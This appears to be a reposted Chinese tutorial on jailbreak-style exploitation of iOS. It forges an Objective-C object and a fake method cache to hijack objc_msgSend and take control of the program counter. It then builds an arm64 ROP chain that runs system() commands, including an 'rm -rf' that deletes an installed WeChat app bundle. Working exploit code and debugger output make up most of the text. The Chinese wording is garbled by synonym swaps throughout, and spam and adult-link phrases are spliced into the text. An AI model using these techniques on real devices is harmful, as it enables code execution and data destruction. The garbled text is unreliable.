发布日期:2024-10-08 13:25 点击次数:94
0x00 序
冰指的是用户态,火指的是内核态。怎样冲破像雪柜相通的用户态沙盒最终到达并截止如火焰一般放手的内核即是《iOS冰与火之歌》这一系列著述将要请问的本体。目次如下:
Objective-C Pwn and iOS arm64 ROP █████████████ █████████████ █████████████ █████████████另外文中波及代码可在我的github下载: https://github.com/zhengmin1989/iOS_ICE_AND_FIRE喜爱夜蒲
0x01 什么是Objective-CObjective-C是引申C的面向对象编程说话。语法和C相配像,但竣事的机制却和java相配像。咱们先来看一个简便的Hello,World门径了解一下。
#!objc Talker.h: #import <Foundation/Foundation.h> @interface Talker : NSObject - (void) say: (NSString*) phrase; @end Talker.m: #import "Talker.h" @implementation Talker - (void) say: (NSString*) phrase { NSLog(@"[email protected]", phrase); } @end hello.m: int main(void) { Talker *talker = [[Talker alloc] init]; [talker say: @"Hello, Ice and Fire!"]; [talker say: @"Hello, Ice and Fire!"]; [talker release]; }
因为测试机是ipad mini 4,这里咱们只编译一个arm64版块的hello。咱们先make一下,然后咱们用scp把hello传到咱们的ipad上头,然后尝试运行一下:
要是咱们简略看到”Hello, Ice and Fire!”,那么咱们的第一个Objective-C门径就完成了。
0x02 Objc_msgSend咱们接下来看一下用ida对hello进行反汇编后的末端:
咱们发现门径中充满了objc_msgSend()这个函数。这个函数不错说是Objective-C的灵魂函数。在Objective-C中,message与法子的委果竣事是在实施阶段绑定的,而非编译阶段。编译器会将音书发送转折成对objc_msgSend法子的调用。
objc_msgSend法子含两个必要参数:receiver、法子名(即:selector)。比如如:
[receiver message];将被转折为:objc_msgSend(receiver, selector);
另外每个对象齐有一个指向所属类的指针isa。通过该指针,对象不错找到它所属的类,也就找到了其沿路父类,如下图所示:
当向一个对象发送音书时,objc_msgSend法子凭证对象的isa指针找到对象的类,然后在类的退换表(dispatch table)中查找selector。要是无法找到selector,objc_msgSend通过指向父类的指针找到父类,并在父类的退换表(dispatch table)中查找selector,依此类推直到NSObject类。一朝查找到selector,objc_msgSend法子凭证退换表的内存地址调用该竣事。通过这种神志,message与法子的委果竣事在实施阶段才绑定。
为了保证音书发送与实施的末端,系统会将沿路selector和使用过的法子的内存地址缓存起来。每个类齐有一个孤独的缓存,缓存包含有刻下类我方的selector以及收受自父类的selector。查找退换表(dispatch table)前,音书发送系统治先查验receiver对象的缓存。缓存射中的情况下,音书发送(messaging)比平直调用法子(function call)只慢少许点。
其实对于objc_msgSend这个函数,Apple还是提供了源码 (比如arm64版块: -647/runtime/Messengers.subproj/objc-msg-arm64.s)
为了有更高的末端,objc_msgSend这个函数是用汇编竣事的:
工口游戏在线玩领先函数会检测传递进来的第一个对象是否为空,然后计算MASK。随后就会参加缓存函数去寻找是否有selector对应的缓存:
要是这个selector也曾被调用过,那么在缓存中就会保存这个selector对应的函数地址,要是这个函数再一次被调用,objc_msgSend()会平直跳转到缓存的函数地址。
但正因为这个机制,要是咱们不错伪造一个receiver对象的话,咱们就不错构造一个缓存的selector的函数地址,随后objc_msgSend()就会跳转到咱们伪造的缓存函数地址上,从而让咱们不错截止PC指针。
0x03 动态调试Objc_msgSend在咱们讲怎样伪造objc对象截止pc前,咱们先分析一下运行时的Objc_msgSend()函数。这里咱们用lldb进行调试。咱们先在ipad上用debugserver启动hello这个门径:
#!bash Minde-iPad:/tmp root# debugserver *:1234 ./hello debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1 for arm64. Listening to port 1234 for a connection from *... Got a connection, launched process ./hello (pid = 1546).
然后在我方的pc上用lldb进行资料聚会:
#!bash lldb (lldb) process connect connect://localhost:5555 2016-01-17 14:58:39.540 lldb[59738:4122180] Metadata.framework [Error]: couldn't get the client port Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000120041000 dyld`_dyld_start, stop reason = signal SIGSTOP frame #0: 0x0000000120041000 dyld`_dyld_start dyld`_dyld_start: -> 0x120041000 <+0>: mov x28, sp 0x120041004 <+4>: and sp, x28, #0xfffffffffffffff0 0x120041008 <+8>: movz x0, #0 0x12004100c <+12>: movz x1, #0
接着咱们不错在main函数那处缔造一个断点:
#!bash (lldb) break set --name main Breakpoint 1: no locations (pending). WARNING: Unable to resolve breakpoint to any actual locations. (lldb) c Process 1546 resuming 1 location added to breakpoint 1 7 locations added to breakpoint 1 Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000100063e48 hello`main, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x0000000100063e48 hello`main hello`main: -> 0x100063e48 <+0>: stp x22, x21, [sp, #-48]! 0x100063e4c <+4>: stp x20, x19, [sp, #16] 0x100063e50 <+8>: stp x29, x30, [sp, #32] 0x100063e54 <+12>: add x29, sp, #32
咱们用disas反编译一下main函数:
接下来咱们在0x100063e94和0x100063ea4处下两个断点:
#!bash (lldb) b *0x100063e94 Breakpoint 2: where = hello`main + 76, address = 0x0000000100063e94 (lldb) b *0x100063ea4 Breakpoint 3: where = hello`main + 92, address = 0x0000000100063ea4
随后咱们陆续运行门径,然后用po $x0和x/s $x1不错看到receiver和selector的本体:
#!bash (lldb) c Process 1546 resuming Process 1546 stopped * thread #1: tid = 0x2b92f, 0x0000000100063e94 hello`main + 76, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 frame #0: 0x0000000100063e94 hello`main + 76 hello`main: -> 0x100063e94 <+76>: bl 0x100063f18 ; symbol stub for: objc_msgSend 0x100063e98 <+80>: mov x0, x19 0x100063e9c <+84>: mov x1,东南亚呦 x20 0x100063ea0 <+88>: mov x2, x21 (lldb) po $x0 <Talker: 0x154604510> (lldb) x/s $x1 0x100063f77: "say:"
这里不错看到receiver和selector分袂为Talker和say。因此咱们不错通过po $x2来知谈say这个法子的参数的本体,也即是“ Hello, Ice and Fire!”:
#!bash (lldb) po $x2 Hello, Ice and Fire!
随后咱们用si大叫参加objc_msgSend()这个函数:
#!bash * thread #1: tid = 0x2b92f, 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend, queue = 'com.apple.main-thread', stop reason = instruction step into frame #0: 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend libobjc.A.dylib`objc_msgSend: -> 0x199c1dbc0 <+0>: cmp x0, #0 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108> 0x199c1dbc8 <+8>: ldr x13, [x0] 0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8
咱们接着使用disas来看一下objc_msgSend的汇编代码:
#!bash (lldb) disas libobjc.A.dylib`objc_msgSend: 0x199c1dbc0 <+0>: cmp x0, #0 -> 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108> 0x199c1dbc8 <+8>: ldr x13, [x0] 0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8 0x199c1dbd0 <+16>: ldp x10, x11, [x9, #16] 0x199c1dbd4 <+20>: and w12, w1, w11 0x199c1dbd8 <+24>: add x12, x10, x12, lsl #4 0x199c1dbdc <+28>: ldp x16, x17, [x12] 0x199c1dbe0 <+32>: cmp x16, x1 0x199c1dbe4 <+36>: b.ne 0x199c1dbec ; <+44> 0x199c1dbe8 <+40>: br x17 ……
不错看到objc_msgSend最运转作念的事情即是从class的缓存中赢得selector和对应的地址(ldp x16, x17, [x12]),然后用缓存的selector和objc_msgSend()的selector进行比拟(cmp x16, x1),要是匹配的话就跳转到缓存的selector的地址上(br x17)。但由于咱们是第一次实施[talker say],缓存中并莫得对应的函数地址,因此objc_msgSend()还要陆续实施_objc_msgSend_uncached_impcache去类的法子列内外查找say这个函数的地址。
那么咱们就陆续实施门径,来看一下等二次调用say函数的话会奈何样。
#!bash (lldb) disas libobjc.A.dylib`objc_msgSend: 0x199c1dbc0 <+0>: cmp x0, #0 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108> 0x199c1dbc8 <+8>: ldr x13, [x0] 0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8 0x199c1dbd0 <+16>: ldp x10, x11, [x9, #16] -> 0x199c1dbd4 <+20>: and w12, w1, w11
当咱们陆续实施门径参加objc_msgSend后,在实施完"ldp x10, x11, [x9, #16]"这条领导后,x10会指向保存了缓存数据的地址。咱们用x/10gx $x10来检验一下这个地址的数据,不错看到init()和say()这两个函数齐还是被缓存了:
#!bash (lldb) x/10gx $x10 0x146502e10: 0x0000000000000000 0x0000000000000000 0x146502e20: 0x0000000000000000 0x0000000000000000 0x146502e30: 0x000000018b0f613e 0x0000000199c26a6c 0x146502e40: 0x0000000100053f37 0x0000000100053ea4 0x146502e50: 0x0000000000000004 0x000000019ccad6f8 (lldb) x/s 0x000000018b0f613e 0x18b0f613e: "init" (lldb) x/s 0x0000000100053f37 0x100053f37: "say:"
前一个数据是selector的地址,后一个数据即是selector对应的函数地址,比如say()这个函数:
#!bash (lldb) x/10i 0x0000000100053ea4 0x100053ea4: 0xa9bf7bfd stp x29, x30, [sp, #-16]! 0x100053ea8: 0x910003fd mov x29, sp 0x100053eac: 0xd10043ff sub sp, sp, #16 0x100053eb0: 0xf90003e2 str x2, [sp] 0x100053eb4: 0x10000fa0 adr x0, #500 ; @"[email protected]" 0x100053eb8: 0xd503201f nop 0x100053ebc: 0x94000004 bl 0x100053ecc ; symbol stub for: NSLog 0x100053ec0: 0x910003bf mov sp, x29 0x100053ec4: 0xa8c17bfd ldp x29, x30, [sp], #16 0x100053ec8: 0xd65f03c0 ret0x04 伪造ObjC对象截止PC
正如我之前提到的,要是咱们不错伪造一个ObjC对象,然后构造一个假的cache的话,咱们就有契机截止PC指针了。既然如斯咱们就来试一下吧。领先咱们需要找到selector在内存中的地址,这个问题不错使用NSSelectorFromString()这个系统自带的API来管理,比如咱们想知谈”release”这个selector的地址,就不错使用NSSelectorFromString(@"release")来赢得。
随后咱们要构建一个假的receiver,假的receiver里有一个指向假的objc_class的指针,假的objc_class里又保存了假的cache_buckets的指针和mask。假的cache_buckets的指针最终指向咱们将要伪造的selector和selector函数的地址:
#!objc struct fake_receiver_t { uint64_t fake_objc_class_ptr; }fake_receiver; struct fake_objc_class_t { char pad[0x10]; void* cache_buckets_ptr; uint32_t cache_bucket_mask; } fake_objc_class; struct fake_cache_bucket_t { void* cached_sel; void* cached_function; } fake_cache_bucket;
接下来咱们在main函数中尝试将talker这个receiver改成咱们伪造的receiver,然后愚弄伪造的”release” selector来截止PC指向0x41414141414141这个地址:
#!objc int main(void) { Talker *talker = [[Talker alloc] init]; [talker say: @"Hello, Ice and Fire!"]; [talker say: @"Hello, Ice and Fire!"]; [talker release]; fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release"); NSLog(@"cached_sel = %p", NSSelectorFromString(@"release")); fake_cache_bucket.cached_function = (void*)0x41414141414141; NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function); fake_objc_class.cache_buckets_ptr = &fake_cache_bucket; fake_objc_class.cache_bucket_mask=0; fake_receiver.fake_objc_class_ptr=&fake_objc_class; talker= &fake_receiver; [talker release]; }
OK,接下来咱们把新编译的hello传到咱们的ipad上,然后用debugserver进行调试:
#!bash Minde-iPad:/tmp root# debugserver *:1234 ./hello debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1 for arm64. Listening to port 1234 for a connection from *... Got a connection, launched process ./hello (pid = 1891).
然后咱们用lldb进行聚会,然后平直运行:
#!bash MacBookPro:objpwn zhengmin$ lldb (lldb) process connect connect://localhost:5555 2016-01-17 22:02:45.681 lldb[61258:4325925] Metadata.framework [Error]: couldn't get the client port Process 1891 stopped * thread #1: tid = 0x36eff, 0x0000000120029000 dyld`_dyld_start, stop reason = signal SIGSTOP frame #0: 0x0000000120029000 dyld`_dyld_start dyld`_dyld_start: -> 0x120029000 <+0>: mov x28, sp 0x120029004 <+4>: and sp, x28, #0xfffffffffffffff0 0x120029008 <+8>: movz x0, #0 0x12002900c <+12>: movz x1, #0 (lldb) c Process 1891 resuming 2016-01-17 22:02:48.575 hello[1891:225023] Hello, Ice and Fire! 2016-01-17 22:02:48.580 hello[1891:225023] Hello, Ice and Fire! 2016-01-17 22:02:48.581 hello[1891:225023] cached_sel = 0x18b0f7191 2016-01-17 22:02:48.581 hello[1891:225023] fake_cache_bucket.cached_function = 0x41414141414141 Process 1891 stopped * thread #1: tid = 0x36eff, 0x0041414141414141, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=257, address=0x41414141414141) frame #0: 0x0041414141414141 error: memory read failed for 0x41414141414000
不错看到咱们得胜的截止了PC,让PC指向了0x41414141414141。
0x05 iOS上的arm64 ROP诚然咱们截止了PC,但在iOS上咱们并不可采选nmap()或者mprotect()将内存改为可读可写可实施,要是咱们想要让门径实施一些咱们想要的领导的话必须要使用ROP。要是对于ROP不太了解的话,我推选阅读一下我写的《一步一步学ROP》系列著述(/papers/?id=11390)
在各个系统中ROP的基本念念路是相通的,这里我就简便先容一下iOS上ROP的念念路。
领先要知谈的是,在iOS上默许是开启ASLR+DEP+PIE的。ASLR和DEP很好贯穿,PIE的根由是program image本人在内存中的地址亦然立地的。是以咱们在iOS上使用ROP时刻必须合营信息败露的间隙才行。诚然在iOS上写ROP相配穷苦,但有个好音书是诚然program image是立地的,可是每个进度齐会加载的dyld_shared_cache这个分享缓存的地址在开机后是固定的,况兼每个进度的dyld_shared_cache齐是疏浚的。这个dyld_shared_cache有好几百M大,基本上不错知足咱们对gadgets的需求。因此咱们唯有在我方的进度赢得dyld_shared_cache的基址就简略计算出贪图进度gadgets的位置。
dyld_shared_cache文献一般保存在/System/Library/Caches/com.apple.dyld/这个目次下。咱们下载下来以后就不错用ROPgadget这个器用来搜索gadget了。咱们先竣事一个简便的ROP,用system()函数实施”touch /tmp/IceAndFire”。因为咱们x0是咱们截止的fake_receiver的地址,因此咱们不错搜索愚弄x0来截止其他寄存器的gadgets。比如底下这条:
#!bash ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
随后咱们不错构造一个假的结构体,然后给对应的寄存器赋值:
#!objc struct fake_receiver_t { uint64_t fake_objc_class_ptr; uint8_t pad1[0x70-0x8]; uint64_t x0; uint8_t pad2[0x98-0x70-0x8]; uint64_t x1; char cmd[1024]; }fake_receiver; fake_receiver.x0=(uint64_t)&fake_receiver.cmd; fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system"); NSLog(@"system_address = %p", (void*)fake_receiver.x1); strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");
临了咱们将cached_function的值指向咱们gagdet的地址就能截止门径实施system()领导了:
#!objc uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation"); NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base); //0x00000000000dcf7c ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1 fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c; NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
编译完后,咱们将hello这个门径传输到iOS上测试一下:
发现/tmp目次下还是得胜的创建了IceAndFire这个文献了。
有东谈主合计仅仅在tmp目次下touch一个文献并不外瘾,那么咱们就尝试一下删除其他应用吧。应用的运行文献齐保存在”/var/mobile/Containers/Bundle/Application/”目次下,比如微信的运行门径就在”/var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/WeChat.app/WeChat”下(提神ED6F728B-CC15-466B-942B-FBC4C534FF95这个值是在app装配时立地分派的)。于是咱们将cmd领导换成:
#!objc strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");
然后再实施一下hello这个门径。门径运行后咱们会发现微信的app图标还在,但当咱们尝试掀开微信的期间app就会秒退。这是因为诚然app被删了但springboard依然会有图方向缓存。这期间咱们唯有重启一下springboard或者手机就不错清空对应的图方向缓存了。这也即是为啥demo中的视频需要重启一下手机的原因:
0x06 归来
这篇著述简便先容了iOS上Objective-C 的愚弄以及iOS 上arm64 ROP,这些齐是逃狱需要掌执的最基本的学问。要提神的事,能作念到实施system领导是因为咱们是在逃狱环境下以root身份运行了咱们的门径,在非逃狱口头下app是莫得权限实施这些system领导的,想要作念到这少许必须愚弄沙箱逃遁的间隙才行,咱们会在随后的著述中先容这些过沙箱的时刻,敬请期待。
另外,另外文中波及代码可在我的github下载:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE
0x07 参考而已 Objective-C音书机制的旨趣 ?p=119 Abusing the Objective C runtime 上一篇:黑丝 av 从漫威启动无穷变强无弹窗,从漫威启动无穷变强最新章节阅读,从漫威启动无穷变强txt全集
下一篇:母狗 调教 劳斯莱斯古念念特风暴灰/橘色内饰流星顶成立|慕尚|豪车|宾利|场合盘